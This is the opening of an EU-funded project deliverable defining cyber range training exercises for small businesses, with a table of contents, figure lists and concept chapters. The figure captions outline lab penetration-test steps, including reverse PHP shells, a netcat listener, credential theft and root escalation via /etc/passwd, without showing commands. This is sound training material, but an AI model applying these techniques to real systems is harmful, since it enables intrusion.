This project is funded by the European Union

CyberKit4SME
Democratizing a Cyber Security Toolkit for SMEs and MEs
Project № 883188

Deliverable 6.5
SME cyber range training course content

Responsible: Andrea Pugini (Sogei SpA)
Document Reference: D6.5
Dissemination Level: Public
Version: 1.0
Date: 1st July 2022

This project has received funding from the European Union’s Horizon 2020 research and innovation programme under grant agreement No 883188.
Executive Summary

The main goal of this deliverable is to define a series of exercises and training experiences depicting the importance and value of CyberKit4SME toolkit as a whole and as separate tools, to be used by SMEs and MEs outside the consortium.

Training and exercises are defined as a series of different scenarios in which different tools of the CyberKit4SME toolkit can be used, separately or in combination.

Scenarios are divided in two different categories:
- offline static exercises dealing with risk analysis and management;
- online dynamic exercises dealing with attack detection and management.

Each of them are suitable for using certain software tools or services included in the toolkit.

For the second category, to accomplish the goal of defining a series of exercises specifically designed and developed to let users get the best from CyberKit4SME tools in exemplar scenarios, a specific environment enabling the creation of those scenarios must be identified.

Two different types of enabling tools are identified:
- cyber range framework;
- cyber attack simulation tools.

Landscape of cyber range framework and cyber attack simulation tools has been explored and analyzed, collecting different options and respective features. To select the most suitable tool available in the landscape for both types, desired features are listed resulting from literature and proper CyberKit4SME project requirements.

The most suitable choice among solutions available on the market, both free of use or commercial, was based on coverage of the desired features list.

Once the most suitable cyber range framework and cyber attack simulation tool were selected, the creation of exercises started according to the choice.

Contents included in this deliverable and in its attachments are intended to be used by the Cyber Security Academy hosted by University of Southampton and any other project partner, in ad hoc events or regular initiatives, on their own or in conjunction with other partners or entities outside the consortium.

At the end of the deliverable there is a short list of examples depicting possible usage of contents of this deliverable.
## Contributors Table

<table>
<thead>
<tr>
<th>DOCUMENT SECTION</th>
<th>AUTHOR(S)</th>
<th>REVIEWER(S)</th>
</tr>
</thead>
<tbody>
<tr>
<td>I. Introduction</td>
<td>Andrea Pugini (Sogei)</td>
<td>Maya Anderson (IBM)</td>
</tr>
<tr>
<td>II. Training and Cyber Range concept</td>
<td>Andrea Pugini (Sogei) Giovanni Cascone (Sogei)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Giampaolo Darelli (Sogei)</td>
<td></td>
</tr>
<tr>
<td>III. Standards and best practices</td>
<td>Andrea Pugini (Sogei) Giovanni Cascone (Sogei)</td>
<td></td>
</tr>
<tr>
<td>IV. Method and approach</td>
<td>Andrea Pugini (Sogei) Giovanni Cascone (Sogei)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Gilberto Zanfino (UoS Cyber)¹</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Stephen Phillips (UoS IT Innov)¹</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Nic Fair (UoS IT Innov)¹</td>
<td></td>
</tr>
<tr>
<td>V. Landscape of tools enabling cyber range</td>
<td>Giovanni Cascone (Sogei) Andrea Pugini (Sogei)</td>
<td></td>
</tr>
<tr>
<td>VI. Evaluation and selection of enabling tools</td>
<td></td>
<td></td>
</tr>
<tr>
<td>VII. Exercises</td>
<td>Andrea Pugini (Sogei)</td>
<td></td>
</tr>
<tr>
<td>VIII. Conclusions</td>
<td>Andrea Pugini (Sogei)</td>
<td></td>
</tr>
<tr>
<td>IX. Annex A – Preliminary actions and exercises</td>
<td>Giovanni Cascone (Sogei) Andrea Pugini (Sogei) Maya Anderson (IBM) Mathieu Bertrand (Inetum) Stephen Phillips (UoS IT Innov)¹ Nic Fair (UoS IT Innov)¹ Gilberto Zanfino (UoS Cyber)¹ Gencer Erdogan (SINTEF)</td>
<td>Maya Anderson (IBM) Mathieu Bertrand (Inetum) Stephen Phillips (UoS IT Innov)¹ Gencer Erdogan (SINTEF)</td>
</tr>
<tr>
<td>X. Annex B – Optional presentation</td>
<td>Giovanni Cascone (Sogei) Andrea Pugini (Sogei) Maya Anderson (IBM) Mathieu Bertrand (Inetum) Stephen Phillips (UoS IT Innov)¹ Nic Fair (UoS IT Innov)¹ Gilberto Zanfino (UoS Cyber)¹ Gencer Erdogan (SINTEF)</td>
<td></td>
</tr>
</tbody>
</table>

¹ Contributions collected also during “Cyber Range and Training Facilitation” workshop, 14th, 15th June 2022, Southampton (UK)
## Table of Contents

I. INTRODUCTION ................................................................................................. 15
  I.1. Purpose and organization of the document ............................................... 15
  I.2. Scope and audience ..................................................................................... 15
  I.3. Addressing the aims of CyberKit4SME ...................................................... 16
  I.4. Changes ....................................................................................................... 16
      I.4.0. Changes caused by tools development roadmap .................................. 16
      I.4.1. Changes applied aiming at improving project impact ......................... 16

II. TRAINING AND CYBER RANGE CONCEPT .............................................. 17
    II.1. Overview .................................................................................................. 17
    II.2. Purposes .................................................................................................. 17
    II.3. Goals ....................................................................................................... 17
    II.4. Approach ................................................................................................ 18
    II.5. Output ..................................................................................................... 18
    II.6. Roles and Focus ....................................................................................... 18
        II.6.1. Sogei ................................................................................................ 18
        II.6.2. University of Southampton Cyber .................................................. 18
        II.6.3. Technical partners ........................................................................... 19
        II.6.4. Others .............................................................................................. 19

III. STANDARDS AND BEST PRACTICES ......................................................... 20
    III.1. OSSTMM ................................................................................................ 20
    III.2. OWASP .................................................................................................. 21
    III.3. ISO 27005 .............................................................................................. 23
    III.4. MITRE ATT&CK® FRAMEWORK ......................................................... 24

IV. METHOD AND APPROACH ......................................................................... 27
    IV.1. Overview ................................................................................................ 27
    IV.2. Assumptions ............................................................................................ 27
    IV.3. Criteria for evaluation and selection of enabling tools ............................. 27
    IV.4. Creation of cyber range and training material ........................................ 28
    IV.5. Usage of cyber range and training materials ......................................... 28
        IV.5.1. University of Southampton Cyber Security Academy .................. 28
        IV.5.2. Inside the consortium .................................................................... 28
        IV.5.3. Outside the consortium .................................................................. 29
    IV.6. Examples of cyber range and training events ........................................ 29
        IV.6.1. Live session inside a company ....................................................... 29
        IV.6.2. Individual practice ....................................................................... 29
IV.6.3. Open event, in person .................................................................................................................. 29
IV.6.4. Online platform for individual practice .................................................................................. 29

V. LANDSCAPE OF TOOLS ENABLING CYBER RANGE .......................................................... 30
V.1. Cyber Range Framework ............................................................................................................... 30
   V.1.1. Red Team Project ..................................................................................................................... 30
   V.1.2. Cyber Wiser ............................................................................................................................. 30
   V.1.3. Cyberbit .................................................................................................................................... 30
   V.1.4. VMware ESXi .......................................................................................................................... 30
   V.1.5. VMware Workstation .............................................................................................................. 31
   V.1.6. VirtualBox ............................................................................................................................... 31
V.2. Cyber Attack Simulation tool ......................................................................................................... 31
   V.2.1. Caldera .................................................................................................................................... 31
   V.2.2. Atomic Red Team .................................................................................................................... 31
   V.2.3. Metta ....................................................................................................................................... 31
   V.2.4. Red Team Automation ............................................................................................................ 31
   V.2.5. Cobalt Strike ............................................................................................................................ 32
   V.2.6. Scythe ....................................................................................................................................... 32
   V.2.7. AttackIQ .................................................................................................................................. 32

VI. EVALUATION AND SELECTION OF ENABLING TOOLS .................................................. 33
VI.1. Evaluation methodology ............................................................................................................... 33
   VI.1.1. Functional requirements ........................................................................................................ 33
   VI.1.2. VI.1.2. Non-Functional requirements ................................................................................... 33
VI.2. Cyber Range Framework ............................................................................................................. 33
VI.3. Cyber Attack Simulation tool ....................................................................................................... 34
VI.4. Selection ......................................................................................................................................... 35

VII. EXERCISES ................................................................................................................................. 36
VII.1. Annex A – Preliminary actions and exercises ............................................................................. 36
   VII.1.1. Methodologies ....................................................................................................................... 36
   VII.1.2. Preparatory actions - Information gathering ......................................................................... 36
   VII.1.3. Preparatory actions - Service enumeration ......................................................................... 36
   VII.1.4. Preparatory actions - Penetration test ................................................................................. 36
   VII.1.5. Runtime security components ............................................................................................ 36
   VII.1.6. Risk modelling tools ............................................................................................................ 37
VII.2. Annex B – Optional presentation ............................................................................................... 37

VIII. CONCLUSIONS ........................................................................................................................... 38
VIII.1. Limitations .................................................................................................................................. 38
VIII.2. Results ......................................................................................................................................... 38
VIII.3. Relevance .................................................................................................................................... 39
IX. ANNEX A – PRELIMINARY ACTIONS AND EXERCISES .......................... 40
IX.1. Introduction .......................................................................................... 40
IX.1.1. Purposes ......................................................................................... 40
IX.1.2. Course content organisation ............................................................ 40
IX.1.3. Assets .............................................................................................. 41
IX.2. Preliminary actions - Information gathering ........................................... 41
IX.2.1. Overview ......................................................................................... 41
IX.2.2. IP Address ...................................................................................... 41
IX.3. Preliminary actions - Service enumeration ............................................. 42
IX.3.1. Overview ......................................................................................... 42
IX.3.2. Services ........................................................................................... 42
IX.4. Preliminary actions - Penetration test .................................................... 42
IX.4.1. Overview ......................................................................................... 42
IX.4.2. Target 1 .......................................................................................... 42
IX.4.2.a. Target .......................................................................................... 43
IX.4.2.b. Ping Sweep .................................................................................. 43
IX.4.2.c. Information Gathering ................................................................. 43
IX.4.2.d. Enumeration Services ................................................................. 44
IX.4.2.e. Vulnerability Assessment .............................................................. 44
IX.4.2.f. Exploitation ................................................................................. 52
IX.4.2.g. Privilege Escalation ..................................................................... 53
IX.4.3. Target 2 .......................................................................................... 54
IX.4.3.a. Target .......................................................................................... 56
IX.4.3.b. Ping Sweep .................................................................................. 57
IX.4.3.c. Information Gathering ................................................................. 57
IX.4.3.d. Enumeration Services ................................................................. 58
IX.4.3.e. Vulnerability Assessment .............................................................. 58
IX.4.3.f. Exploitation ................................................................................. 61
IX.4.3.g. Privilege Escalation ..................................................................... 63
IX.4.4. Target 3 .......................................................................................... 66
IX.4.4.a. Target .......................................................................................... 66
IX.4.4.b. Ping Sweep .................................................................................. 66
IX.4.4.c. Information Gathering ................................................................. 66
IX.4.4.d. Enumeration Services ................................................................. 67
IX.4.4.e. Vulnerability Assessment .............................................................. 67
IX.4.4.f. Exploitation ................................................................................. 69
IX.4.5. Caldera ............................................................................................ 70
IX.4.5.a. Login ........................................................................................... 70
IX.4.5.b. Agent deploy on Kali Linux .......................................................... 71
IX.4.5.b.1. Port Scanner ........................................................................... 73
IX.4.5.b.2. Enumeration Services ............................................................ 75
IX.5. Run-Time Security Component ........................................................................ 91

IX.5.1. SDS ........................................................................................................ 91
IX.5.1.a. Pre-Requisites .................................................................................... 92
IX.5.1.b. SDS Gateway ..................................................................................... 93
IX.5.1.c. SDS Client .......................................................................................... 94
IX.5.1.d. Exercise 1 .......................................................................................... 97

IX.5.2. Keenai ...................................................................................................... 98
IX.5.2.a. SSH Access ........................................................................................ 100
IX.5.2.b. Bruteforce SSH Detection ................................................................ 101
IX.5.2.c. DoS Attack Detection ...................................................................... 102
IX.5.2.d. Exercise 1 .......................................................................................... 103
IX.5.2.e. Exercise 2 .......................................................................................... 105
IX.5.2.f. Exercise 3 ........................................................................................... 106

IX.6. Risk Modelling tools .................................................................................... 107

IX.6.1. HORM .................................................................................................... 108
IX.6.2. SSM ........................................................................................................ 108
IX.6.2.a. Possible Modelling Errors ................................................................ 110
IX.6.2.b. Adverse Effects and their Impact ..................................................... 111
IX.6.2.c. Threats ................................................................................................ 112

IX.7. Exercise ....................................................................................................... 115

IX.7.1. HORM (man in the middle) ................................................................ 115
IX.7.2. SSM (man in the middle) .................................................................... 116
IX.7.2.a. Threats ................................................................................................ 117

X. ANNEX B – OPTIONAL PRESENTATION ..................................................... 120

XI. BIBLIOGRAPHY ............................................................................................ 144

Table of Figures

Figure 1 - Risk Assessment Process ................................................................. 24
Figure 2 - An example of ATT&CK® matrix available on MITRE website ....... 26
Figure 3 - T1: Ping sweep result ....................................................................... 43
Figure 4 - T1: Nmap TCP scan ........................................................................ 43
Figure 5 - T1: Nmap UDP scan ....................................................................... 44
Figure 6 - T1: Probe open ports to determine service/version info (TCP) .................................. 44
Figure 7 - T1: Probe open ports to determine service/version info (UDP) .............................. 44
Figure 8 - T1: Nmap performing OS detection and version detection ................................. 45
Figure 9 - T1: Connecting via FTP to target ................................................................. 45
Figure 10 - T1: Inspecting file system looking for sensitive data ................................... 46
Figure 11 - T1: Downloading file ................................................................................... 46
Figure 12 - T1: Trying to unzip the downloaded file ......................................................... 46
Figure 13 - T1: Webpage available on the server ......................................................... 46
Figure 14 - T1: HTML code snippet of webpage ..................................................... 47
Figure 15 - T1: Downloading the .jpg file included in the HTML page ....................... 47
Figure 16 - T1: Dirb tool performing directory discovery ............................................. 48
Figure 17 - T1: Exploring directory discovered using Dirb .......................................... 48
Figure 18 - T1: Code snippet of HTML page ............................................................... 48
Figure 19 - T1: Performing Steghide ........................................................................ 48
Figure 20 - T1: Message contained in the text file ..................................................... 48
Figure 21 - T1: Searching for the password ................................................................. 50
Figure 22 - T1: Performing the attack using fcrackzip ............................................. 51
Figure 23 - T1: Unzipping the file .............................................................................. 51
Figure 24 - T1: Text file .............................................................................................. 51
Figure 25 - T1: Enum4linux tool to enumerate the SMB service ................................ 52
Figure 26 - T1: Using smbclient to connect to sambashare .................................. 52
Figure 27 - T1: Discovering files on the sambashare ............................................. 52
Figure 28 - T1: Downloading ssh.txt file ................................................................. 52
Figure 29 - T1: Opening the downloaded file ............................................................. 52
Figure 30 - T1: Doing login through SSH .................................................................. 53
Figure 31 - T1: /etc/passwd file ............................................................................. 53
Figure 32 - T1: Creating a new user ......................................................................... 53
Figure 33 - T1: Adding the brand new user to the /etc/passwd file ....................... 53
Figure 34 - T1: Getting root privileges through brand new user .............................. 54
Figure 35 - T2: Quaoar ping sweep .......................................................................... 57
Figure 36 - T2: Nmap TCP information gathering .................................................. 57
Figure 37 - T2: Nmap UDP information gathering .................................................. 58
Figure 38 - T2: Probe open ports to determine service/version info (TCP) ............ 58
Figure 39 - T2: Probe open ports to determine service/version info (UDP) ............ 58
Figure 40 - T2: HomePage at Apache server ............................................................ 59
Figure 41 - T2: Dirb tool performing file discovery .................................................. 59
Figure 42 - T2: Inspecting robots.txt ....................................................................... 60
Figure 43 - T2: Home page of website based on wordpress .................................... 60
Figure 44 - T2: Wordpress login form ...................................................................... 60
Figure 45 - T2: Wordpress administration interface ...........................................61
Figure 46 - T2: Wordpress file editor ..................................................................61
Figure 47 - T2: A reverse php shell is generated with msfvenom ..................62
Figure 48 - T2: Replacing legitimate archive.php file with malicious payload ....62
Figure 49 - T2: Saving malicious payload ............................................................62
Figure 50 - T2: Setting netcat listener on port 4444 .........................................62
Figure 51 - T2: Gain access to the target .............................................................63
Figure 52 - T2: Searching for website configuration file ....................................63
Figure 53 - T2: Obtaining database credentials ................................................64
Figure 54 - T2: Connecting to the target using stolen credential .....................65
Figure 55 - T3: Ping sweep result .....................................................................66
Figure 56 - T3: Nmap TCP scan ..............................................................66
Figure 57 - T3: Nmap UDP scan ..............................................................67
Figure 58 - T3: Probe open ports to determine service/version info (TCP) ....67
Figure 59 - T3: Probe open ports to determine service/version info (UDP) ......67
Figure 60 - T3: Using metasploit smb_version module to identify service version.68
Figure 61 - T3: Available options for smb_version .......................................68
Figure 62 - T3: Setting target host .................................................................68
Figure 63 - T3: Version identified by metasploit ..............................................68
Figure 64 - T3: Checking if version is vulnerable ..............................................69
Figure 65 - T3: Exploiting samba service ......................................................69
Figure 66 - T3: Gaining access to target as root .............................................69
Figure 67 - Caldera architecture example ......................................................70
Figure 68 - Caldera: Starting Caldera ...........................................................70
Figure 69 - Caldera: Log in .............................................................................71
Figure 70 - Caldera: Accessing “agents” menu .............................................71
Figure 71 - Caldera: Deploying an agent on Kali Linux ................................72
Figure 72 - Caldera: Options for agent installation ........................................72
Figure 73 - Caldera: Command to set up agent ..............................................72
Figure 74 - Caldera: Agent shown in dashboard ..........................................73
Figure 75 - Caldera: Using "access" command .............................................73
Figure 76 - Caldera: Options to perform port scan .......................................74
Figure 77 - Caldera: Proper values to target Kioptrix ....................................74
Figure 78 - Caldera: Button under “Scan IP for ports” to show results ..........75
Figure 79 - Caldera: Port scan results .............................................................75
Figure 80 - Caldera: Using tactics "discovery" for service enumeration .......76
Figure 81 - Caldera: Proper value to configure service enumeration ..........76
Figure 82 - Caldera: Button under "Fingerprint network services" to show results 77
Figure 83 - Caldera: Service enumeration results ........................................77
Deliverable 6.5 SME cyber range training course content

Figure 110 - Caldera: Values to perform scan on T2 ........................................ 90
Figure 111 - Caldera: Results of service detection .................................................. 91
Figure 112 - Runtime security component - Case study architecture ....................... 91
Figure 113 - SDS: Contents of csv file .................................................................. 92
Figure 114 - SDS: Working diagram ..................................................................... 92
Figure 115 - SDS: Application configuration file ...................................................... 93
Figure 116 - SDS: Gateway docker created .............................................................. 93
Figure 117 - SDS: Creating token to the Vault ....................................................... 94
Figure 118 - SDS: Editing config.py to point SDS URL ....................................... 94
Figure 119 - SDS: Command to start client ............................................................. 95
Figure 120 - SDS: Application hello page ............................................................... 95
Figure 121 - SDS: Encrypting parquet file using SDS client ................................... 96
Figure 122 - SDS: Bulk import ............................................................................. 96
Figure 123 - SDS: Encrypted file shown in the directory........................................97
Figure 124 - SDS: Decrypting parquet file using SDS client..................................97
Figure 125 - SDS: Running SQL queries on the encrypted transactions table /1 ........98
Figure 126 - SDS: Running SQL queries on the encrypted transactions table /2 ........98
Figure 127 - Keenai: Console login form..................................................................99
Figure 128 - Keenai: Console..................................................................................99
Figure 129 - Keenai: Syslog-ng configuration file....................................................100
Figure 130 - Keenai: Accessing the target from Kali Linux ......................................100
Figure 131 - Keenai: Event seen on Keenai console ...............................................100
Figure 132 - Keenai: Details of the event .................................................................101
Figure 133 - Keenai: Configuring Suricata to detect brute force attacks .................101
Figure 134 - Keenai: Test brute force SSH attack to the T1 .....................................101
Figure 135 - Keenai: Brute force detected, shown in the console .........................102
Figure 136 - Keenai: Brute force event seen on Keenai console ..............................102
Figure 137 - Keenai: Details of the brute force event ..............................................102
Figure 138 - Keenai: Keenai: Configuring Suricata to detect DoS attacks .............102
Figure 139 - Keenai: From Kali Linux test SYN Flood DoS attack to T1 ..................103
Figure 140 - Keenai: DoS detected, shown in the console .....................................103
Figure 141 - Keenai: DoS event seen on Keenai console .......................................103
Figure 142 - Keenai: Details of the DoS event .......................................................103
Figure 143 - Keenai: Configuring Suricata to detect ping .....................................104
Figure 144 - Keenai: Results of ping from Kali Linux to T1 ...................................104
Figure 145 - Keenai: Ping detected, shown in the console ....................................104
Figure 146 - Keenai: Ping event seen on Keenai console ......................................104
Figure 147 - Keenai: Details of the Ping event .......................................................105
Figure 148 - Keenai: Test Nmap scan from Kali Linux to Keenai server ...............105
Figure 149 - Keenai: Nmap scan detected, shown in the console .........................106
Figure 150 - Keenai: Nmap scan event seen on Keenai console ............................106
Figure 151 - Keenai: Details of the Nmap scan event ............................................106
Figure 152 - Keenai: Test SYN flood DoS attack from Kali Linux to Keenai server ...106
Figure 153 - Keenai: DoS detected, shown in the console .....................................107
Figure 154 - Keenai: DoS event seen on Keenai console .......................................107
Figure 155 - Keenai: Details of the DoS event .......................................................107
Figure 156 - HORM: Phishing attack visualization ...............................................108
Figure 157 - SSM: Phishing attack visualisation .....................................................109
Figure 158 - SSM: Model details and report............................................................110
Figure 159 - SSM: Modelling error dialog window .................................................111
Figure 160 - SSM: Effects and impact at data .........................................................112
Figure 161 - SSM: Impact levels ...........................................................................112
<table>
<thead>
<tr>
<th>Figure</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>162</td>
<td>SSM: Risk calculation matrix</td>
<td>112</td>
</tr>
<tr>
<td>163</td>
<td>SSM: Example of threats list</td>
<td>113</td>
</tr>
<tr>
<td>164</td>
<td>SSM: Effects and their impact</td>
<td>113</td>
</tr>
<tr>
<td>165</td>
<td>SSM: Effect explorer</td>
<td>114</td>
</tr>
<tr>
<td>166</td>
<td>SSM: Threat explorer</td>
<td>115</td>
</tr>
<tr>
<td>167</td>
<td>HORM: “Man in the middle” attack visualisation</td>
<td>116</td>
</tr>
<tr>
<td>168</td>
<td>SSM: “Man in the middle” attack visualisation</td>
<td>117</td>
</tr>
<tr>
<td>169</td>
<td>SSM: Threats list</td>
<td>118</td>
</tr>
<tr>
<td>170</td>
<td>SSM: Threat explorer</td>
<td>118</td>
</tr>
<tr>
<td>171</td>
<td>SSM: Effect explorer</td>
<td>119</td>
</tr>
<tr>
<td>172</td>
<td>Slide 1</td>
<td>120</td>
</tr>
<tr>
<td>173</td>
<td>Slide 2</td>
<td>120</td>
</tr>
<tr>
<td>174</td>
<td>Slide 3</td>
<td>121</td>
</tr>
<tr>
<td>175</td>
<td>Slide 4</td>
<td>121</td>
</tr>
<tr>
<td>176</td>
<td>Slide 5</td>
<td>122</td>
</tr>
<tr>
<td>177</td>
<td>Slide 6</td>
<td>122</td>
</tr>
<tr>
<td>178</td>
<td>Slide 7</td>
<td>123</td>
</tr>
<tr>
<td>179</td>
<td>Slide 8</td>
<td>123</td>
</tr>
<tr>
<td>180</td>
<td>Slide 9</td>
<td>124</td>
</tr>
<tr>
<td>181</td>
<td>Slide 10</td>
<td>124</td>
</tr>
<tr>
<td>182</td>
<td>Slide 11</td>
<td>125</td>
</tr>
<tr>
<td>183</td>
<td>Slide 12</td>
<td>125</td>
</tr>
<tr>
<td>184</td>
<td>Slide 13</td>
<td>126</td>
</tr>
<tr>
<td>185</td>
<td>Slide 14</td>
<td>126</td>
</tr>
<tr>
<td>186</td>
<td>Slide 15</td>
<td>127</td>
</tr>
<tr>
<td>187</td>
<td>Slide 16</td>
<td>127</td>
</tr>
<tr>
<td>188</td>
<td>Slide 17</td>
<td>128</td>
</tr>
<tr>
<td>189</td>
<td>Slide 18</td>
<td>128</td>
</tr>
<tr>
<td>190</td>
<td>Slide 19</td>
<td>129</td>
</tr>
<tr>
<td>191</td>
<td>Slide 20</td>
<td>129</td>
</tr>
<tr>
<td>192</td>
<td>Slide 21</td>
<td>130</td>
</tr>
<tr>
<td>193</td>
<td>Slide 22</td>
<td>130</td>
</tr>
<tr>
<td>194</td>
<td>Slide 23</td>
<td>131</td>
</tr>
<tr>
<td>195</td>
<td>Slide 24</td>
<td>131</td>
</tr>
<tr>
<td>196</td>
<td>Slide 25</td>
<td>132</td>
</tr>
<tr>
<td>197</td>
<td>Slide 26</td>
<td>132</td>
</tr>
<tr>
<td>198</td>
<td>Slide 27</td>
<td>133</td>
</tr>
<tr>
<td>199</td>
<td>Slide 28</td>
<td>133</td>
</tr>
<tr>
<td>200</td>
<td>Slide 29</td>
<td>134</td>
</tr>
</tbody>
</table>
List of Tables

Table 1 - OSSTMM test types. ................................................................. 21
Table 2 - Owasp Top Ten 2021 ............................................................. 22
Table 3 - Cyber Range Framework solutions matching requirements .......... 34
Table 4 - Cyber Attack Simulation Tools matching requirements ..................... 34
Table 1 - Assets available to deploy environment for the exercises .................. 41
Table 2 - Network information of machines involved in exercises ...................... 41
Table 3 - Ports discovered ....................................................................... 42
<table>
<thead>
<tr>
<th>Acronym</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSA</td>
<td>Cyber Security Academy</td>
</tr>
<tr>
<td>CTF</td>
<td>Capture The Flag</td>
</tr>
<tr>
<td>D</td>
<td>Deliverable</td>
</tr>
<tr>
<td>DoW</td>
<td>Description of Work</td>
</tr>
<tr>
<td>HORM</td>
<td>Human and Organisational Risk Modeler</td>
</tr>
<tr>
<td>ICT</td>
<td>Information and Communication Technology</td>
</tr>
<tr>
<td>IOT</td>
<td>Internet Of Things</td>
</tr>
<tr>
<td>M</td>
<td>Month</td>
</tr>
<tr>
<td>ME</td>
<td>Micro-Enterprises</td>
</tr>
<tr>
<td>MS</td>
<td>Milestone</td>
</tr>
<tr>
<td>NIS</td>
<td>Network and Information Security</td>
</tr>
<tr>
<td>OS</td>
<td>Operating System</td>
</tr>
<tr>
<td>OT</td>
<td>Operational Technology</td>
</tr>
<tr>
<td>OWASP</td>
<td>Open Web Application Security Project</td>
</tr>
<tr>
<td>SDS</td>
<td>Secure Data Service</td>
</tr>
<tr>
<td>SIEM</td>
<td>Security Information and Event Management</td>
</tr>
<tr>
<td>SL</td>
<td>Service Ledger</td>
</tr>
<tr>
<td>SME</td>
<td>Small and medium-sized enterprise</td>
</tr>
<tr>
<td>SSM</td>
<td>System Security Modeller</td>
</tr>
<tr>
<td>T</td>
<td>Task</td>
</tr>
<tr>
<td>TLS</td>
<td>Transport Layer Security</td>
</tr>
<tr>
<td>WP</td>
<td>Work Package</td>
</tr>
</tbody>
</table>
I. INTRODUCTION

I.1. Purpose and organization of the document

This document aims to provide a series of exercises to be used for SMEs and MEs to appreciate the impact of CyberKit4SME toolkit through its usage. These exercises will serve to facilitate the creation of events and experiences that will be defined in different tasks of this project.

Training and cyber range exercises are defined as a series of different scenarios in which different tools of the CyberKit4SME toolkit can be used, separately or in combination.

Document organization represents the process leading to the definition of exercises.

First, the concept behind the definition of the exercises is described. How cyber range and risk analysis training are designed and how they are intended to be used.

Standards and best practices applied in the exercises are described as the methodologies relevant in this context. They are international well-known standards commonly applied to penetration testing and risk analysis.

Then, the method and approach followed during the definition of the exercises is described. Nonetheless, cyber range framework and cyber-attack simulation tools are described as they are foundations for running dynamic and interactive exercises.

After that, landscape of cyber range framework and cyber-attack simulation tools is described, collecting several solutions available in the market. Once the landscape is described, desired features are listed to evaluate different solutions and to choose the most suitable ones to project goals.

In the end, exercises are described with type, tools involved, goals and main aspects depicted. Contents as assets included in each scenario, architectural structure, presets for enabling tools and CyberKit4SME toolkit, are listed in the attachment to this deliverable.

In addition to the exercises, a certain number of learning contents is included as attachment to the present deliverable, as a series of slides providing general topics and information to let users understand the exercises even in case of limited knowledge or skill in cyber security.

I.2. Scope and audience

This document as deliverable of T6.2 “SME training and cyber range demos” has the scope implied by the definition of training and cyber range facilitation as described in DoW. Also, MS5 “Training defined, Market validated” is considered as input to T6.2. Training and Cyber Range Facilitation contributes to MS6 “Project completed”.

Scope is limited to the definition of training and cyber range exercises, considering specific frameworks or platforms enabling their run.

Description and instructions about cyber range framework and cyber attack simulation tools (“enabling tools”) is out of scope for this document. Deployment of cyber range is demanded of consortium partners or SMEs and MEs outside the consortium based on their own knowledge and skill, given the availability of the enabling tools.

The dissemination level of this deliverable is public. The intended audience is composed of actors interested in cyber range and training exercises both on consumer and supplier side.

On the supplier side, the intended audience is composed of consortium partners interested in using exercises described in this deliverable to provide a training and/or cyber range experience. On the consumer side, the intended audience is composed of SMEs and MEs - individuals belonging to them - interested in discovering the CyberKit4SME toolkit capabilities in defending their own enterprise through exercises representing real world scenarios.
All scenarios depicted in the exercises included in this deliverable and its attachments are not related with existing environment or assets belonging to consortium partners or other stakeholders involved in the project. Exercises may be based on real attack scenarios and cyber attack knowledge base, simplified.

I.3. Addressing the aims of CyberKit4SME

This deliverable is addressed to provide contents and materials enabling consortium partners delivering online and offline cyber range and training experiences. Doing so, partners will spread and disseminate the value of CyberKit4SME toolkit outside the consortium; they will demonstrate the impact of tools included in the toolkit. The concept and goals of this deliverable were defined to fit the aims of the project.

Specifically, according to project mission, “democratizing a Cyber Security Toolkit for SMEs and MEs”, exercises and their background are designed to let people play the exercises without specific cyber security skill of knowledge. Exercises have a slides companion to let everyone play with the exercises.

This deliverable, for the aims of CyberKit4SME, is an enabling ingredient for the creation of training and cyber range events, relevant part of dissemination activity.

I.4. Changes

Changes done in comparison to previous Description of Work are listed hereunder. Reason behind changes is described as well.

I.4.0. Changes caused by tools development roadmap

Cyber range training course content is stated in the DoW as involving:
- offline tools dealing with risk analysis;
- running software modules dealing with cyber security

Service Ledger, developed by University of Southampton Cyber, is included in the latter one. According to the development roadmap, the first prototype of Service Ledger was planned to be released in late May 2022.

Due to this schedule and this deliverable deadline, exercises involving running modules have been defined and developed without Service Ledger in them.

I.4.1. Changes applied aiming at improving project impact

Cyber range training course content included in this deliverable are intended to be used by consortium partners to create events and experiences both online and offline. Exercises, as previously mentioned, are designed to demonstrate value and impact of toolkit in certain number of cyber risk and cyber attack scenarios.

Following project workplan, D6.5 materials are released in the central part of the project (M19-M24), with current version of four tools prototype out of five: SDS, SSM, Keenai and HORM.

To let consortium partners have cyber range training course content materials based on latest release of tools, consortium agreed on planning a further release of D6.5 “Cyber range training course content”.

So, this document should be intended as the first but not ultimate version of Cyber range training course content.
II. TRAINING AND CYBER RANGE CONCEPT

II.1. Overview

A cyber range is a controlled, interactive technology environment where people can practice using the same kind of equipment that can be found in the real world. The range simulates certain events or attacks on IT infrastructure, networks, software platforms and applications. The setup encompasses technology that is able to operationalize and monitor a trainee’s progress and performance as they grow and learn through simulated experiences. Used the right way a cyber range can instill confidence in cybersecurity workers.

Modeled on the physical shooting ranges used by police and the military, a cyber range can create a training space that simulates a wide range of security incidents. But under the name cyber range are comprised a various number of exercises and simulations\[1\][2]. This kind of exercise has been intended to be interactive, replicating real life, letting participants use directly tools and techniques with their own hands.

Stated that every exercise, coupled with a description of a certain scenario and a dose of imagination, can be intended as an extended and more realistic role play or a table top exercise, cyber range should be oriented to let participants test their skill and knowledge in using something.

Cyber range are usually used during “capture the flag” (CTF) challenges. In this case event is intended to be a competition aiming at identifying the best “player”, with the best skill, completing the challenge in the shortest possible time. In this context cyber range is the field on which well skilled and trained participants compete with each other.

In this task, cyber range and training exercises aim at letting participants use CyberKit4SME toolkit and facilitating them to get the best from them and to appreciate the impact that the tools can produce, increasing cyber security and situational awareness.

Replicating as much as possible a complex and realistic scenario for SMEs and MEs having a limited cyber security knowledge and skill is not interesting. It would be an unnecessary complexity and probably an obstacle to their comprehension of the scenario, of the toolkit working and of the benefits provided by each tool of the toolkit.

II.2. Purposes

The purpose of cyber range training course content is to let consortium partners deliver events and experiences in which participants use the tools as much as they can and to create the context and the conditions under which participants can perceive the value of the CyberKit4SME tools.

The main purpose is to create exercises that highlight impact of the tools, with a suitable level of realism and a suitable level of complexity.

II.3. Goals

According to the purposes, exercises are oriented to create the scenario in which a specific attack or risk can be observed before and after, without and with the intervention of a CyberKit4SME tool.

Cyber range and training should be as easy as possible to be deployed. “Easy” can be intended as simple, cheap, adaptable. These goals will be translated into specific desired features in the following chapters, describing the evaluation of the enabling tools.
II.4. Approach

